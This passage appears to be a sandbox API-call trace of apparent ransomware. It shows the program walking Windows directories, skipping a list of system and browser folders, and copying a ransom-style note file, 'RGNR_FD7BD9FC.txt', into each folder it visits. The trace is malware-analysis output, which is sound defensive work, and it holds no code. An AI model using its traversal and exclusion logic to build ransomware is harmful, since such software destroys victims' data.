hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0053.019] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0053.019] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0053.019] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0053.020] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0053.020] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0053.020] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0053.020] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0053.020] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0053.020] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0053.020] lstrcpyW (in: lpString1=0x1eb62e, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0053.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0053.020] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\" [0053.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\RGNR_FD7BD9FC.txt" [0053.020] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0053.023] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*" [0053.023] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.023] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0053.023] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0053.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0053.023] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.023] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.024] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.024] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0053.024] lstrcmpiW (lpString1="boxed-correct.avi", lpString2=".") returned 1 [0053.024] lstrcmpiW (lpString1="boxed-correct.avi", lpString2="..") returned 1 [0053.024] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0053.024] lstrcmpiW (lpString1="boxed-delete.avi", lpString2=".") returned 1 [0053.024] lstrcmpiW (lpString1="boxed-delete.avi", lpString2="..") returned 1 [0053.024] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0053.024] lstrcmpiW (lpString1="boxed-join.avi", lpString2=".") returned 1 [0053.024] lstrcmpiW (lpString1="boxed-join.avi", lpString2="..") returned 1 [0053.024] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0053.024] lstrcmpiW (lpString1="boxed-split.avi", lpString2=".") returned 1 [0053.024] lstrcmpiW (lpString1="boxed-split.avi", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="correct.avi", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="correct.avi", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="delete.avi", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="delete.avi", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="FlickLearningWizard.exe.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="InkObj.dll.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="InkWatson.exe.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="InputPersonalization.exe.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="IPSEventLogMsg.dll.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="IpsMigrationPlugin.dll.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="join.avi", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="join.avi", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0053.026] lstrcmpiW (lpString1="micaut.dll.mui", lpString2=".") returned 1 [0053.026] lstrcmpiW (lpString1="micaut.dll.mui", lpString2="..") returned 1 [0053.026] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="mip.exe.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="mip.exe.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="mshwLatin.dll.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d8ffe0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0053.027] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="split.avi", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="split.avi", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0053.027] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0053.027] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0053.027] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0053.030] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2=".") returned 1 [0053.031] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="..") returned 1 [0053.031] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0053.031] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0053.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0053.031] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71d8ffe0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71d8ffe0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.032] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, 